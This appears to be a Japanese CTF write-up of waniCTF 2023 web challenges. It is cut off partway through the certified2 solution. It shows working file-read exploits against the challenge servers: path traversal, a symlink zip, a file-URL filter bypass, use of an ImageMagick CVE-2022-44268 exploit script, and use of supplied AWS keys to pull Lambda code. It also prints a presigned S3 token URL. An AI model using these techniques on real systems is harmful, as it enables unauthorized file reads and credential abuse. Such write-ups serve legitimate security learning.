[waniCTF 2023] writeup(web)
waniCTF 2023が2023/5/4(Thu) 15:00 ~ 2023/5/6(Sat) 15:00(JST)で開催されました。
[web] IndexedDB
このページのどこかにフラグが隠されているようです。ブラウザの開発者ツールを使って探してみましょう。
It appears that the flag has been hidden somewhere on this page. Let’s use the browser’s developer tools to find it.
/
をcurlでGETするとflagをindexedDBに格納するjavascriptが含まれるページが返されます。
$ curl https://indexeddb-web.wanictf.org/
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
</head>
<body>
</body>
<script>
var connection;
window.onload = function () {
var openRequest = indexedDB.open("testDB");
openRequest.onupgradeneeded = function () {
connection = openRequest.result;
var objectStore = connection.createObjectStore("testObjectStore", {
keyPath: "name",
});
objectStore.put({ name: "FLAG{y0u_c4n_u3e_db_1n_br0wser}" });
};
openRequest.onsuccess = function () {
connection = openRequest.result;
};
window.location = "1ndex.html";
};
</script>
</html>
FLAG{y0u_c4n_u3e_db_1n_br0wser}
[web] Extract Service 1
ドキュメントファイルの要約サービスをリリースしました!配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。
サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね…? どんなHTTPリクエストが送信されるのか見てみよう!
We have released a summary service for document files! Please feel free to use the sample document file in the “sample” folder of the distribution file for trial purposes.
The secret information is written in the /flag file on the server, but it should be safe, right…? Let’s see what kind of HTTP request is sent!
.docx
ファイルなどをアップロードすると、内容を要約してくれるアプリケーションが提供されます。
以下、main.go
です。
package main
import (
"net/http"
"os"
"os/exec"
"path/filepath"
"regexp"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
)
func main() {
r := gin.Default()
r.LoadHTMLGlob("templates/*")
r.MaxMultipartMemory = 1 << 20 // 1MiB, to prevent DoS
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "",
})
})
r.POST("/", func(c *gin.Context) {
baseDir := filepath.Join("/tmp", uuid.NewString()) // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e
zipPath := baseDir + ".zip" // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip
file, err := c.FormFile("file")
if err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
extractTarget := c.PostForm("target")
if extractTarget == "" {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : target is required",
})
return
}
if err := os.MkdirAll(baseDir, 0777); err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
if err := c.SaveUploadedFile(file, zipPath); err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
if err := ExtractFile(zipPath, baseDir); err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
result, err := ExtractContent(baseDir, extractTarget)
if err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
c.HTML(http.StatusOK, "index.html", gin.H{
"result": result,
})
})
if err := r.Run(":8080"); err != nil {
panic(err)
}
}
func ExtractFile(zipPath, baseDir string) error {
if err := exec.Command("unzip", zipPath, "-d", baseDir).Run(); err != nil {
return err
}
return nil
}
func ExtractContent(baseDir, extractTarget string) (string, error) {
raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
if err != nil {
return "", err
}
removeXmlTag := regexp.MustCompile("<.*?>")
resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "")
removeNewLine := regexp.MustCompile(`\r?\n`)
resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "")
return resultNewLineRemoved, nil
}
ファイルがアップロードされた際、以下の処理が実行されます。/tmp
にディレクトリが作成され、アップロードされたファイルが/tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip
などのパスに保存されます。保存されたファイルはzipファイルとして展開され、target
で指定されたパスを読み込むことで文字列を抽出します。
r.POST("/", func(c *gin.Context) {
baseDir := filepath.Join("/tmp", uuid.NewString()) // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e
zipPath := baseDir + ".zip" // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip
file, err := c.FormFile("file")
if err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
extractTarget := c.PostForm("target")
if extractTarget == "" {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : target is required",
})
return
}
if err := os.MkdirAll(baseDir, 0777); err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
if err := c.SaveUploadedFile(file, zipPath); err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
if err := ExtractFile(zipPath, baseDir); err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
result, err := ExtractContent(baseDir, extractTarget)
if err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
c.HTML(http.StatusOK, "index.html", gin.H{
"result": result,
})
})
ここでtarget
で指定されるパスが検証されないため、任意のパスを読み込むことができます。
func ExtractContent(baseDir, extractTarget string) (string, error) {
raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
if err != nil {
return "", err
}
...
}
flagはシステムの/flag
に配置されています。
RUN echo "FAKE{FAKE_FLAG}" > /flag
RUN chmod 664 /flag
適当なファイルを投げて、target
を../../flag
に変更することで、flagが得られます。
FLAG{ex7r4c7_1s_br0k3n_by_b4d_p4r4m3t3rs}
[web] 64bps
dd if=/dev/random of=2gb.txt bs=1M count=2048 cat flag.txt >> 2gb.txt rm flag.txt
↓↓↓
配布されるDockerfile
です。2gb.txt
という2GBのファイルにflagを追記しています。
FROM nginx:1.23.3-alpine-slim
COPY nginx.conf /etc/nginx/nginx.conf
COPY flag.txt /usr/share/nginx/html/flag.txt
RUN cd /usr/share/nginx/html && \
dd if=/dev/random of=2gb.txt bs=1M count=2048 && \
cat flag.txt >> 2gb.txt && \
rm flag.txt
nginx.conf
を見ると、帯域幅制限があって2gb.txt
を全てダウンロードするのは難しそうです。
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
keepalive_timeout 65;
gzip off;
limit_rate 8; # 8 bytes/s = 64 bps
server {
listen 80;
listen [::]:80;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
}
}
HTTPのRange Requestsを用いて2gb.txt
のうちflagの部分だけをダウンロードします。
$ curl -H "Range: bytes=2147483648-21474836100" https://64bps-web.wanictf.org/2gb.txt
FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}
ちなみに、SECCON Beginners CTF 2022のgalleryもこの手法を使用する問題でした(参考)。
FLAG{m@ke_use_0f_r@n0e_reques7s_f0r_l@r9e_f1les}
[web] Extract Service 2
Extract Service 1は脆弱性があったみたいなので修正しました! 配布ファイルのsampleフォルダにお試し用のドキュメントファイルがあるのでぜひ使ってください。
サーバーの/flagファイルには秘密の情報が書いてあるけど大丈夫だよね…?
We have fixed Extract Service 1 as it had vulnerabilities! Please feel free to use the sample document file in the “sample” folder of the distribution file for trial purposes.
The secret information is written in the /flag file on the server, but it should be safe, right…?
Extract Service 1の続きです。main.go
は以下です。
package main
import (
"net/http"
"os"
"os/exec"
"path/filepath"
"regexp"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
"log"
)
func main() {
r := gin.Default()
r.LoadHTMLGlob("templates/*")
r.MaxMultipartMemory = 1 << 20 // 1MiB, to prevent DoS
r.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "",
})
})
r.POST("/", func(c *gin.Context) {
baseDir := filepath.Join("/tmp", uuid.NewString()) // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e
zipPath := baseDir + ".zip" // ex. /tmp/02050a65-8ae8-4b50-87ea-87b3483aab1e.zip
file, err := c.FormFile("file")
if err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
// patched
extractTarget := ""
targetParam := c.PostForm("target")
if targetParam == "" {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : target is required",
})
return
}
if targetParam == "docx" {
extractTarget = "word/document.xml"
} else if targetParam == "xlsx" {
extractTarget = "xl/sharedStrings.xml"
} else if targetParam == "pptx" {
extractTarget = "ppt/slides/slide1.xml"
} else {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : target is invalid",
})
return
}
if err := os.MkdirAll(baseDir, 0777); err != nil {
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
if err := c.SaveUploadedFile(file, zipPath); err != nil {
log.Println("SaveUploadedFile", err)
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
if err := ExtractFile(zipPath, baseDir); err != nil {
log.Println("ExtractFile", err)
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
result, err := ExtractContent(baseDir, extractTarget)
if err != nil {
log.Println("ExtractContent", err)
c.HTML(http.StatusOK, "index.html", gin.H{
"result": "Error : " + err.Error(),
})
return
}
c.HTML(http.StatusOK, "index.html", gin.H{
"result": result,
})
})
if err := r.Run(":8080"); err != nil {
panic(err)
}
}
func ExtractFile(zipPath, baseDir string) error {
if err := exec.Command("unzip", zipPath, "-d", baseDir).Run(); err != nil {
return err
}
return nil
}
func ExtractContent(baseDir, extractTarget string) (string, error) {
raw, err := os.ReadFile(filepath.Join(baseDir, extractTarget))
if err != nil {
return "", err
}
removeXmlTag := regexp.MustCompile("<.*?>")
resultXmlTagRemoved := removeXmlTag.ReplaceAllString(string(raw), "")
removeNewLine := regexp.MustCompile(`\r?\n`)
resultNewLineRemoved := removeNewLine.ReplaceAllString(resultXmlTagRemoved, "")
return resultNewLineRemoved, nil
}
以下、Extract Service 1のmain.go
との差分です。docx
の場合はword/document.xml
、xlsx
の場合はxl/sharedStrings.xml
がpptx
の場合はppt/slides/slide1.xml
が読み込まれます。
38,41c38,39
< // patched
< extractTarget := ""
< targetParam := c.PostForm("target")
< if targetParam == "" {
---
> extractTarget := c.PostForm("target")
> if extractTarget == "" {
47,58d44
< if targetParam == "docx" {
< extractTarget = "word/document.xml"
< } else if targetParam == "xlsx" {
< extractTarget = "xl/sharedStrings.xml"
< } else if targetParam == "pptx" {
< extractTarget = "ppt/slides/slide1.xml"
< } else {
< c.HTML(http.StatusOK, "index.html", gin.H{
< "result": "Error : target is invalid",
< })
< return
< }
実際にdocxファイルなどをzipファイルとして展開してみるとわかりますが、word/document.xml
にWord文書がXMLで定義されています(参考)。
この状況で/flag
をどう読み込めば良いかどうかわからなかったので、適当に"docx upload unzip ctf"などで検索すると、作問者の方の過去の関連問題のwriteupが出てきました。
シンボリックリンクで/flag
を読み出す方針が良さそうです。zipファイルとして展開すると、word/document.xml
が/flag
へのシンボリックリンクになっている場合、/flag
を読み込むことができます。
以下で、シンボリックリンクとzipファイルを作成します。
$ mkdir word
$ ln -s /flag ./word/document.xml
$ zip -ry payload.zip word # -ryでシンボリックを維持してzip化
作成したzipファイルをアップロードするとflagが得られました。
FLAG{4x7ract_i3_br0k3n_by_3ymb01ic_1ink_fi1e}
[web] screenshot
好きなウェブサイトのスクリーンショットを撮影してくれるアプリです。
An application that takes screenshots of your favorite websites.
URLを入力すると、そのwebサイトのスクリーンショットを撮影してくれるアプリケーションが提供されます。
index.js
は以下です。
const playwright = require("playwright");
const express = require("express");
const morgan = require("morgan");
const main = async function () {
const browser = await playwright.chromium.launch();
const app = express();
// Logging
app.use(morgan("short"));
app.use(express.static("static"));
app.get("/api/screenshot", async function (req, res) {
const context = await browser.newContext();
context.setDefaultTimeout(5000);
try {
if (!req.query.url.includes("http") || req.query.url.includes("file")) {
res.status(400).send("Bad Request");
return;
}
const page = await context.newPage();
const params = new URLSearchParams(req.url.slice(req.url.indexOf("?")));
await page.goto(params.get("url"));
const buf = await page.screenshot();
res.header("Content-Type", "image/png").send(buf);
} catch (err) {
console.log("[Error]", req.method, req.url, err);
res.status(500).send("Internal Error");
} finally {
await context.close();
}
});
app.listen(80, () => {
console.log("Listening on port 80");
});
};
main();
flag.txt
は/app
ディレクトリに存在します。
COPY . /app
COPY ./flag.txt /flag.txt
以下の条件式をバイパスしてfile:///app/flag.txt
をURLとして指定することができれば良いです。
if (!req.query.url.includes("http") || req.query.url.includes("file")) {
res.status(400).send("Bad Request");
return;
}
File:///app/flag.txt?http
などでflag.txt
のスクリーンショットを撮ることができます。
FLAG{beware_of_parameter_type_confusion!}
[web] certified1
最近流行りの言語を使った安全なウェブアプリが完成しました!
We have released a secure web application using a state-of-the-art language!
https://certified-web.wanictf.org
この問題にはフラグが2つ存在します。ファイル/flag_Aにあるフラグをcertified1に、環境変数FLAG_Bにあるフラグをcertified2に提出してください。
There are two flags in this problem. Please submit the flag in file /flag_A to certified1 and one in the environment variable FLAG_B to certified2.
Note: “承認, ワニ博士” means “Approved, Dr. Wani” in Japanese.
画像をアップロードするとワニ博士の承認スタンプを押してくれるアプリケーションです。実用的ですね。
以下、画像を処理するprocess_image.rs
です。
use anyhow::{bail, Context, Result};
use std::path::Path;
use std::process::Stdio;
use tokio::fs;
use tokio::process::Command;
pub async fn process_image(working_directory: &Path, input_filename: &Path) -> Result<()> {
println!("{}", working_directory.join(input_filename).display());
fs::copy(
working_directory.join(input_filename),
working_directory.join("input"),
)
.await
.context("Failed to prepare input")?;
fs::write(
working_directory.join("overlay.png"),
include_bytes!("../assets/hanko.png"),
)
.await
.context("Failed to prepare overlay")?;
let child = Command::new("sh")
.args([
"-c",
"timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png",
])
.current_dir(working_directory)
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::piped())
.spawn()
.context("Failed to spawn")?;
let out = child
.wait_with_output()
.await
.context("Failed to read output")?;
if !out.status.success() {
bail!(
"image processing failed on {}:\n{}",
working_directory.display(),
std::str::from_utf8(&out.stderr)?
);
}
Ok(())
}
以下の部分で、ImageMagickを用いて入力の画像に、ハンコの画像を重ねる処理を行います。
let child = Command::new("sh")
.args([
"-c",
"timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png",
])
Dockerfileをみると、ImageMagickのバージョン7.1.0-51
が使用されていることがわかります。
ARG MAGICK_URL="https://github.com/ImageMagick/ImageMagick/releases/download/7.1.0-51/ImageMagick--gcc-x86_64.AppImage"
RUN curl --location --fail -o /usr/local/bin/magick $MAGICK_URL && \
chmod 755 /usr/local/bin/magick
調べると、CVE-2022-44268の脆弱性が見つかりました。画像のメタデータを介して、任意のファイルが読める脆弱性のようです。
ここではバージョン7.1.0-49
にこの脆弱性が存在することが示されていますが、バージョン7.1.0-51
も脆弱であるか確かめるためにexploitを実行します。こちらのexploitコードを使用します。
certified1のflagは/flag_A
に書かれています。
RUN echo 'FAKE{REDACTED}' > /flag_A
ENV FLAG_B="FAKE{REDACTED}"
画像のメタデータを介して/flag_A
を読み込むことができました。
$ python3 CVE-2022-44268.py --image network_dennou_sekai_man.png --file-to-read /flag_A --output poisoned.png
# poisoned.pngをアップロード
$ python3 CVE-2022-44268.py --url https://certified-web.wanictf.org/view/a51f7447-60d6-4eb7-9508-aad37c1318bf
FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}
FLAG{7he_sec0nd_f1a9_1s_w41t1n9_f0r_y0u!}
[web] Lambda
以下のサイトはユーザ名とパスワードが正しいときフラグを返します。今あなたはこのサイトの管理者のAWSアカウントのログイン情報を極秘に入手しました。このログインを突破できますか。
The following site returns a flag when you input correct username and password. Now you have the confidential login information for the AWS account of the administrator of this site. Please get through this authentication.
まず、提供されるwebサイトのソースをみると、usernameとpasswordをAPI Gatewayを用いて立てられているAPIに送信していることがわかります。
window.onload = (event) => {
const btn = document.querySelector("#submitBtn");
btn.addEventListener("click", async () => {
console.log("aaa");
const password = document.querySelector(".password");
const username = document.querySelector(".username");
const result = document.querySelector(".result");
console.log(password);
console.log(username);
const url = new URL(
"https://k0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.com/test/"
);
url.searchParams.append("PassWord", password.value);
url.searchParams.append("UserName", username.value);
const response = await fetch(url.href, { method: "get" });
Promise.resolve(response.text()).then(
(value) => {
console.log(value);
result.innerText = value;
},
(value) => {
console.error(value);
}
);
});
};
AWSのアクセスキーとシークレットアクセスキーが提供されます。ここでは念のため、キーは伏せ字にしています。
Access key ID,Secret access key,Region
*********,*********,ap-northeast-1
提供されたクレデンシャルを用いてAWSのAPIを叩いていきます。まずはアクセスキーとシークレットアクセスキー、リージョンを設定します。
$ aws configure
AWS Access Key ID [None]: *********
AWS Secret Access Key [None]: *********
Default region name [ap-northeast-1]: ap-northeast-1
Default output format [text]: json
API Gatewayの一覧を取得します。WaniCTFLambdaGateway
というAPI Gatewayが見つかります。
$ aws apigateway get-rest-apis --region ap-northeast-1
{
"items": [
{
"id": "k0gh2dp2jg",
"name": "WaniCTFLambdaGateway",
"createdDate": "2023-04-23T10:05:08+09:00",
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": [
"REGIONAL"
]
},
"disableExecuteApiEndpoint": false
}
]
}
WaniCTFLambdaGateway
のリソースを取得します。GETメソッドが見つかります。
$ aws apigateway get-resources --rest-api-id k0gh2dp2jg
{
"items": [
{
"id": "hd6co6xcng",
"path": "/",
"resourceMethods": {
"GET": {}
}
}
]
}
GETメソッドの定義を確認します。wani_function
というlambdaを使用していることがわかります。
$ aws apigateway get-method --rest-api-id k0gh2dp2jg --resource-id hd6co6xcng --http-method GET
{
"httpMethod": "GET",
"authorizationType": "NONE",
"apiKeyRequired": false,
"requestParameters": {},
"methodResponses": {
"200": {
"statusCode": "200",
"responseModels": {
"application/json": "Empty"
}
}
},
"methodIntegration": {
"type": "AWS_PROXY",
"httpMethod": "POST",
"uri": "arn:aws:apigateway:ap-northeast-1:lambda:path/2015-03-31/functions/arn:aws:lambda:ap-northeast-1:839
865256996:function:wani_function/invocations",
"passthroughBehavior": "WHEN_NO_MATCH",
"contentHandling": "CONVERT_TO_TEXT",
"timeoutInMillis": 29000,
"cacheNamespace": "hd6co6xcng",
"cacheKeyParameters": [],
"integrationResponses": {
"200": {
"statusCode": "200",
"responseTemplates": {}
}
}
}
}
wani_function
の情報を取得します。
$ aws lambda get-function --function-name wani_function
{
"Configuration": {
"FunctionName": "wani_function",
"FunctionArn": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function",
"Runtime": "dotnet6",
"Role": "arn:aws:iam::839865256996:role/service-role/wani_function-role-zhw0ck9t",
"Handler": "WaniCTF_Lambda::WaniCTF_Lambda.Function::LoginWani",
"CodeSize": 960588,
"Description": "",
"Timeout": 15,
"MemorySize": 512,
"LastModified": "2023-05-01T14:21:15.000+0000",
"CodeSha256": "Gfkg4Q7OrMA+DPsFg6zR+gZXezeG8KEMe/8w8BLmRSA=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "0a4cde2c-6dbb-4240-9332-2f5611256deb",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
]
},
"Code": {
"RepositoryType": "S3",
"Location": "https://awslambda-ap-ne-1-tasks.s3.ap-northeast-1.amazonaws.com/snapshots/839865256996/wani_fun
ction-df5e5803-a6c5-4483-b58a-a296b73218a3?versionId=JWFcoHVwceWBtheBA6f9sJoChpeeeHF.&X-Amz-Security-Token=IQoJb3JpZ
2luX2VjEOf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkYwRAIgfdEN8DoVIG5g3V%2By1MutC5DMJW4fdxdvxiemi5XOYfM
CIDGUfmlFC8cgAJbPv9d4BEdQIVmwXl%2BWGvEBQPMpHm%2BGKsoFCPD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQAxoMOTE5OTgwOTI1MTM5IgyiHWd
BT9Arl4SftYoqngViAKDI25pWXXRjvpWHA%2FPskdQ6I7YkMsMa5XmvvW82v3GGFvJyO%2FhzEuDTRewtlnxnGITCVB4ESGllVdnwyjKwE5MxbcXsJjz
skrDhbXUkMy7FBSF1kwAesU04az%2FLOUT5hToMuWS%2FEoE9t5iwCrnLoPYc8NUMmcMHYq6ykZOx00RIS2e%2Fj6aDwYAqt0%2Bh5pDMG2pxBdmV1JN
NF3dAA5uIUFZAytgqEfBRYp4o%2BDOzcI0EDA8BOSC91V5IUFE7uM7ZLh6HItiyM44RiyMf7ndL6FsVd%2BSki9j1Gcq0PV0IHoOTrnwDOTgHxvW33EY
lwGfNSMea2rvbhLvjTWunMxKn0ft%2BJsIKxzN5zI87JDzA%2BaHZbSR0HdoM9u59dl7rc2j%2FJUDv1r6Bt4yliuiqTVJdhg4fLz2O%2BeJjQvwB5SQ
fxCCI1Nm5sc32JkP18p0Ch%2BYVDK%2BuDWfYy1jVIMtRgoCVw0VrFiHgKGi2FQDgO12SJcE4PagZPm0Ae8qCZ9ewoL%2B%2F6KtddMxiXK5w0aG1G9X
LvsbMkFauwBwnqtU82t7if4M4noUkNRYMeYMWTAFz3K9wb5JIi8xtGTlWBrml72qA%2FphEL%2FC14QGnJUMeyAXqp1CCUEFpcdViFaUwhwYDjNIhzxv
mTthcbpAGM056JVY0fThRHu1Blrs38S6dA%2FkiJCEcBgNEk9YFaLLaQrAxmhaGl%2Bx30yCX1QNhEGBxUSESOI9KzSF3ew1HdlGamKOh2jb2c9go%2F
R%2FGIDYOAsXKXrg3lGvFPoB%2B%2Fbxsdth9qAXw5hXMYHoNlJTe741QntM0FKzeYxLbLRpkUAaUveP95E2RFJQ71fN6lARfEQmMaaAra2nPPEzXKJe
HqCgM173B%2FFED8F0jQ%2FxbkqC%2BtavsMOKVz6IGOrIBLC8KUOTMjtrar8lP0YVkhXmTcK70p5euS1%2FfbWYchh4I29tknvilK4wrMSsNIuF9T8p
6IzqoYI5NwmwNaVAfNVaG9fTFLZZ5IXTw6t3W7WAFgSUSn3WbQY%2B%2Bg5PhrjGt0fWwJrwGpDxC%2BVgsQHzjnkAgtRn1Hi612VAfkXzCkgVmYVgy%
2FRGvHHOdBXBjZeCiAKbXBZqccCoB%2FrLQ6OrkLSgVZFlwBSJ24kMpnLSx1qnITA%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=
20230504T160931Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA5MMZC4DJ5YNVE2FU%2F20230504%2Fap-no
rtheast-1%2Fs3%2Faws4_request&X-Amz-Signature=4ea8dfc6e3f0fc5fc5d35d29baad784be079f84d74a90f563cec5fd2e1958563"
}
lambda関数のバイナリを取得します。
$ url=$(aws lambda get-function --function-name wani_function | jq -r '.Code.Location')
$ curl -o lambda.zip ${url}
$ unzip lambda.zip
zipファイルを展開するとこれらのファイルが得られます。
Amazon.Lambda.APIGatewayEvents.dll
Amazon.Lambda.Core.dll
Amazon.Lambda.Serialization.Json.dll
Amazon.Lambda.Serialization.SystemTextJson.dll
Newtonsoft.Json.dll
WaniCTF_Lambda.deps.json
WaniCTF_Lambda.dll
WaniCTF_Lambda.runtimeconfig.json
.NETはよくわかりませんが、とりあえず.dllをデコンパイルしたいです。自分はMacを使用しているので、ILSPyのCLI版を利用してデコンパイルを行います。
まずは、こちらから.NETのSDKをダウンロードし、以下でILSPyのCLI版をインストールします。
$ dotnet tool install --global ilspycmd
WaniCTF_Lambda.dll
をデコンパイルするとflagが見つかります。
$ ilspycmd WaniCTF_Lambda.dll
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.Versioning;
using Amazon.Lambda.APIGatewayEvents;
using Amazon.Lambda.Core;
using Amazon.Lambda.Serialization.Json;
using Microsoft.CodeAnalysis;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: LambdaSerializer(typeof(JsonSerializer))]
[assembly: TargetFramework(".NETCoreApp,Version=v6.0", FrameworkDisplayName = ".NET 6.0")]
[assembly: AssemblyCompany("WaniCTF_Lambda")]
[assembly: AssemblyConfiguration("Release")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyInformationalVersion("1.0.0")]
[assembly: AssemblyProduct("WaniCTF_Lambda")]
[assembly: AssemblyTitle("WaniCTF_Lambda")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace Microsoft.CodeAnalysis
{
[CompilerGenerated]
[Embedded]
internal sealed class EmbeddedAttribute : Attribute
{
}
}
namespace System.Runtime.CompilerServices
{
[CompilerGenerated]
[Microsoft.CodeAnalysis.Embedded]
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Event | AttributeTargets.Parameter | AttributeTargets.ReturnValue | AttributeTargets.GenericParameter, AllowMultiple = false, Inherited = false)]
internal sealed class NullableAttribute : Attribute
{
public readonly byte[] NullableFlags;
public NullableAttribute(byte P_0)
{
NullableFlags = new byte[1] { P_0 };
}
public NullableAttribute(byte[] P_0)
{
NullableFlags = P_0;
}
}
[CompilerGenerated]
[Microsoft.CodeAnalysis.Embedded]
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Method | AttributeTargets.Interface | AttributeTargets.Delegate, AllowMultiple = false, Inherited = false)]
internal sealed class NullableContextAttribute : Attribute
{
public readonly byte Flag;
public NullableContextAttribute(byte P_0)
{
Flag = P_0;
}
}
}
namespace WaniCTF_Lambda
{
public class Function
{
public APIGatewayProxyResponse LoginWani(APIGatewayProxyRequest input, ILambdaContext context)
{
IDictionary<string, string> queryStringParameters = input.QueryStringParameters;
Dictionary<string, string> headers = new Dictionary<string, string>
{
["Access-Control-Allow-Origin"] = "https://lambda-web.wanictf.org",
["Access-Control-Allow-Methods"] = "GET OPTIONS"
};
if (queryStringParameters == null)
{
return new APIGatewayProxyResponse
{
StatusCode = 500,
Body = "QueryStringParameters is null",
Headers = headers
};
}
if (!queryStringParameters.ContainsKey("UserName") || !queryStringParameters.ContainsKey("PassWord"))
{
return new APIGatewayProxyResponse
{
StatusCode = 400,
Body = "ユーザー名とパスワードを指定してください",
Headers = headers
};
}
string text = queryStringParameters["UserName"];
string text2 = queryStringParameters["PassWord"];
if (text == "LambdaWaniwani" && text2 == "aflkajflalkalbnjlsrkaerl")
{
return new APIGatewayProxyResponse
{
StatusCode = 200,
Body = "FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}",
Headers = headers
};
}
return new APIGatewayProxyResponse
{
StatusCode = 200,
Body = "Password or UserName are incorrect!!! : " + text + ": " + text2,
Headers = headers
};
}
}
}
FLAG{l4mabd4_1s_s3rverl3ss_s3rv1c3}
[web] certified2
certified1をご覧ください。
Please see certified1.
certified1の続きです。
certified2のflagは環境変数に入っているため、certified1で使用したexploitを使用して/proc/self/environ
を読み込むことを考えますが、これはできません。
kurenaifさんがyoutubeで解説されていますが、/proc/self/environ
はファイルの実体がなく容量が0byteであるため、ImageMagickの実装上、ファイルを読み込めません。
問題の実装を追ってみます。以下はcreate.rs
です。ファイルを受け取って指定するパスに書き込み、process_image
関数を使用して、画像にハンコを押します。
use crate::handler::helper::HandlerResult;
use crate::process_image::process_image;
use anyhow::Context;
use axum::debug_handler;
use axum::extract;
use axum::http::StatusCode;
use axum::response::IntoResponse;
use bytes::Bytes;
use std::path::PathBuf;
use tokio::fs;
use uuid::Uuid;
// POST /create
#[debug_handler]
pub async fn handle_create(mut multipart: extract::Multipart) -> HandlerResult {
let id = Uuid::new_v4();
let current_dir = PathBuf::from(format!("./data/{id}"));
fs::create_dir(¤t_dir)
.await
.context("Failed to create working directory")?;
let (file_name, file_data) = match extract_file(&mut multipart).await {
Some(file) => file,
None => return Ok((StatusCode::BAD_REQUEST, "Invalid multipart data").into_response()),
};
fs::write(
current_dir.join(file_name.file_name().unwrap_or("".as_ref())),
file_data,
)
.await
.context("Failed to save uploaded file")?;
process_image(¤t_dir, &file_name)
.await
.context("Failed to process image")?;
Ok((StatusCode::SEE_OTHER, [("location", format!("/view/{id}"))]).into_response())
}
// Extract file name and file data from multipart form data
async fn extract_file(multipart: &mut extract::Multipart) -> Option<(PathBuf, Bytes)> {
while let Ok(Some(field)) = multipart.next_field().await {
if field.name() == Some("file") {
let file_name = match field.file_name() {
Some(file_name) => PathBuf::from(file_name),
None => return None,
};
let file_data = match field.bytes().await {
Ok(bytes) => bytes,
Err(_) => return None,
};
return Some((file_name, file_data));
}
}
None
}
以下はprocess_image.rs
です。
use anyhow::{bail, Context, Result};
use std::path::Path;
use std::process::Stdio;
use tokio::fs;
use tokio::process::Command;
pub async fn process_image(working_directory: &Path, input_filename: &Path) -> Result<()> {
println!("{}", working_directory.join(input_filename).display());
fs::copy(
working_directory.join(input_filename),
working_directory.join("input"),
)
.await
.context("Failed to prepare input")?;
fs::write(
working_directory.join("overlay.png"),
include_bytes!("../assets/hanko.png"),
)
.await
.context("Failed to prepare overlay")?;
let child = Command::new("sh")
.args([
"-c",
